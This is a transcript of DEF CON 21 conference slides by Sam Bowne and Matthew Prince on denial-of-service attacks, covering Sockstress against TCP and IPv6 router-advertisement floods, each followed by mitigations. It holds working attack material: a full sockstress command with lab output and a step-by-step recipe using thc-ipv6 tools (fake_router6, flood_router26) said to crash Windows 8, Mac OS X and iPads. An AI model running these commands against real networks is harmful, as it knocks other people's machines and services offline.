

Evil DoS Attacks and Strong Defenses

Sam Bowne and Matthew Prince

DEF CON 21

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Bio



Sam Bowne

@sambowne

I teach Ethical Hacking at City College San Francisco. My statements are my own, not official positions of CCSF.

San Francisco · samsclass.info

Bio



Matthew Prince

@eastdakota

A little bit geek, wonk, and nerd. Repeat entrepreneur, recovering lawyer and former ski instructor. Currently, CEO & co-founder of CloudFlare.

San Francisco, CA · cloudflare.com


Evil Attacks

Sockstress


New IPv6 RA Flood

Sockstress

TCP Handshake




TCP Window Size



TCP Header Format

Sockstress Attack



Images from drawingstep.com and us.123rf.com

From 2008

- Still not patched
- Attacks TCP by sending a small WINDOW size
- Causes sessions to hang up, consuming RAM
- Can render servers **unbootable**

Sockstress Demo

The image shows a VMware Fusion interface with two virtual machines. The left VM is Windows 7-512, and the right VM is Slackware 10.2. The Windows Task Manager window is open, showing high CPU usage (98%) and memory usage (1.50 GB). The Slackware terminal window shows the execution of the sockstress tool, which is performing a network attack on 192.168.119.3. The terminal output includes details about the interface used, IP address, MAC address, and the number of connections and packets sent.

Windows Task Manager Performance:

- CPU Usage: 98%
- Memory: 1.50 GB
- Physical Memory Usage History: [Graph showing increasing usage]


System Information:

Physical Memory (MB)		System	
Total	2047	Handles	215339
Cached	308	Threads	560
Available	505	Processes	55
Free	228	Up Time	0:00:11:39
Kernel Memory (MB)		Commit (MB)	1506 / 4094
Paged	103		
Nonpaged	684		

Slackware Terminal Output:

```
root@slackware:~/sockstress# ./sockstress -A -c -1 -d 192.168.119.3 -m -1 -Ms -p 21,23,80,135,445,1021,3389,8080 -r 100000 -s 192.168.119.128/25 -vv
[+] using interface `eth0` to get at 192.168.119.3
[+] my ip address is `192.168.119.128` -> `192.168.119.255`
[+] my mac is 00:0c:29:c8:c0:86
[-] ERROR arp.c:84: strange packet layer type Unknown
[+] NextHop MAC address is 00:0c:29:36:83:2b
[+] connecting to 192.168.119.3 [192.168.119.3:21,23,80,135,445,1021,3389,8080] window of 5840
[+] pcap filter `tcp and dst net 192.168.119.128/25` on interface `eth0`
[+] child pid is 1559
[+] attacking a cidr ffffffff
3475.00 cps 139000 total
[+] breaking out of socket loop
[+] sent 693493 total syn packets at 17781.87 pps
[+] Closing ethernet interface `eth0`
[+] Exiting
root@slackware:~/sockstress# ./sockstress -A -c -1 -d 192.168.119.3 -m -1 -Ms -p 21,23,80,135,445,1021,3389,8080 -r 100000 -s 192.168.119.128/25 -vv
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[+] connecting to 192.168.119.3 [192.168.119.3:21,23,80,135,445,1021,3389,8080] window of 5840
[+] pcap filter `tcp and dst net 192.168.119.128/25` on interface `eth0`
[+] child pid is 1576
[+] attacking a cidr ffffffff
3455.00 cps 884500 total
```

**Attack
Stopped**




Mitigation

- Short-term
 - Block packets with small window sizes with a firewall
- Long-term
 - PATCH OS to reclaim RAM
 - It's been 5 years, guys!

IPv4 Exhaustion

IPv4 Exhaustion



One Year Left

 www.potaroo.net/tools/ipv4/


IANA Unallocated Address Pool Exhaustion:

03-Feb-2011

Projected RIR Address Pool Exhaustion Dates:

RIR	Projected Exhaustion Date	Remaining Addresses in RIR Pool (/8s)
APNIC:	19-Apr-2011 (actual)	0.8694
RIPE NCC:	14-Sep-2012 (actual)	0.9050
ARIN:	15-Apr-2014	2.3773
LACNIC:	28-Aug-2014	2.5294
AFRINIC:	01-Aug-2020	3.7308

IPv6 Exhaustion



A screenshot of a web browser window. The address bar shows the URL `samsclass.info/ipv6/exhaustion.htm`. The page content is displayed on a grey background and includes the following text:

There are only this many IPv6 addresses left:

340,282,366,920,938,463,463,374,607,431,636,584,978

Projected IPv6 Exhaustion Date

5,395,000,000,000,000,000,000,000,000 AD

Link-Local DoS

IPv6 Router Advertisements




Old Attack (from 2011)

Image from forumlane.org

IPv4: DHCP

PULL process


- Client requests an IP
- Router provides one



IPv6: Router Advertisements

PUSH process

- Router announces its presence
- Every client on the LAN creates an address and joins the network



Router Advertisement Packet

The image shows a Wireshark capture window titled "Broadcom NetXtreme Gigabit Ethernet Driver: Capturing - Wireshark". The filter is set to "icmpv6". The packet list shows three ICMPv6 packets. The second packet, at time 345.166922, is a Router advertisement from source fe80::89d3:727d:45b7:732 to destination ff02::1. The packet details pane shows the following structure:

- Frame 2027 (118 bytes on wire, 118 bytes captured)
- Ethernet II, Src: Supermic_82:11:bd (00:30:48:82:11:bd), Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01)
- Internet Protocol Version 6
- Internet Control Message Protocol v6
 - Type: 134 (Router advertisement)
 - Code: 0
 - Checksum: 0xe59d [correct]
 - Cur hop limit: 0
 - Flags: 0x40
 - Router lifetime: 1800
 - Reachable time: 0
 - Retrans timer: 0
 - ICMPv6 Option (Source link-layer address)
 - ICMPv6 Option (MTU)
 - ICMPv6 Option (Prefix information)
 - Type: Prefix information (3)
 - Length: 32
 - Prefix length: 64
 - Flags: 0xd0
 - Valid lifetime: 2592000
 - Preferred lifetime: 604800
 - Prefix: 2001:5c0:110c:9d00::

RA Flood (from 2011) flood_router6

```
Administrator: cmd - Shortcut
C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    IPv6 Address. . . . .             : 4:1:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:2:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:3:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:4:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:5:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:6:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:7:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:8:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:9:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:10:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:11:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:12:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:13:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:14:1:0:156d:9e7e:48d3:704e
    IPv6 Address. . . . .             : 4:15:1:0:156d:9e7e:48d3:704e
```

Effects of flood_router6

- Drives Windows to 100% CPU
- Also affects FreeBSD
- No effect on Mac OS X or Ubuntu Linux



The New RA Flood

Image from guntech.com/

MORE IS BETTER

- Each RA now contains
 - 17 Route Information sections
 - 18 Prefix Information sections

```
▷ Frame 116: 1038 bytes on wire (8304 bits), 1038 bytes captured (8304 bits)
▷ Ethernet II, Src: Apple_f6:27:8a (44:2a:60:f6:27:8a), Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01)
▷ Internet Protocol Version 6, Src: fe80::94:3b5e:94b4:7b01 (fe80::94:3b5e:94b4:7b01), Dst: ff02::1 (ff02::1)
▽ Internet Control Message Protocol v6
  Type: Router Advertisement (134)
  Code: 0
  Checksum: 0x2b0c [correct]
  Cur hop limit: 255
  ▷ Flags: 0x08
    Router lifetime (s): 65535
    Reachable time (ms): 16384000
    Retrans timer (ms): 1966080
  ▷ ICMPv6 Option (MTU : 1500)
  ▷ ICMPv6 Option (Source link-layer address : 44:2a:60:f6:27:8a)
  ▷ ICMPv6 Option (Prefix information : 2003:943c:5f94:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:943d:6194:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:943e:6394:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:943f:6594:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9440:6794:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9441:6994:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9442:6b94:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9443:6d94:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9444:6f94:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9445:7194:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9446:7394:b47b::/64)
  ▷ ICMPv6 Option (Prefix information : 2003:9447:7594:b47b::/64)
```

Flood Does Not Work Alone

- Before the flood, you must send some normal RA packets
- This puts Windows into a vulnerable state
 - Thanks to var_x for noticing this in my lab at CCSF


How to Perform this Attack

- For best results, use a gigabit Ethernet NIC on attacker and a gigabit switch
- Use thc-ipv6 2.1 on Linux
- Three Terminal windows:
 1. `./fake_router6 eth1 a::/64`
 2. `./fake_router6 eth1 b::/64`
 3. `./flood_router26 eth1`
- Windows dies within 30 seconds

Effects of New RA Flood

- Win 8 & Server 2012 die (BSOD)
- Microsoft Surface RT dies (BSOD)
- Mac OS X dies
- Win 7 & Server 2008 R2, with the "IPv6 Readiness Update" freeze during attack
- iPad 3 slows and sometimes crashes
- Android phone slows and sometimes crashes
- Ubuntu Linux suffers no harm

Videos and Details



The screenshot shows a web browser window with the address bar containing 'samsclass.info/ipv6/proj/RA_flood2.htm'. The page title is 'New RA Flood Attack'. Below the title is a 'Contents' section with five numbered links. The fifth link, 'Wireless: Freezing the iPad Mini', is expanded to show a section header and a paragraph of text.

← → ↻ 🏠 📄 samsclass.info/ipv6/proj/RA_flood2.htm 🔍 4 ☆ 📑 ☰

New RA Flood Attack

Contents

1. [Killing Mac OS X and Windows Server 2012](#)
2. [Microsoft's IPv6 Readiness Update](#)
3. [Wireless: Injuring the iPad 3](#)
4. [Killing Mac OS X Reliably with a better switch](#)
5. [Wireless: Freezing the iPad Mini](#)

Wireless: Freezing the iPad Mini

The iPad Mini is more vulnerable than the iPad 1 or the iPad 3, as shown in this video. But adding a second iPad to the wireless LAN reduces the attack effect greatly. This is interesting because it's the opposite of what we see in a wired network, where adding a router to the LAN is necessary to kill the Mac OS X reliably.

Mitigation

- Disable IPv6
- Turn off Router Discovery with netsh
- Use a firewall to block rogue RAs
- Get a switch with RA Guard
- Microsoft's "IPv6 Readiness Update" provides some protection for Win 7 & Server 2008 R2
 - Released Nov. 13, 2012
 - KB 2750841
 - ***But NOT for Win 8 or Server 2012!!***

DEMO

More Info

- Slides, instructions for the attacks, & more at
- Samsclass.info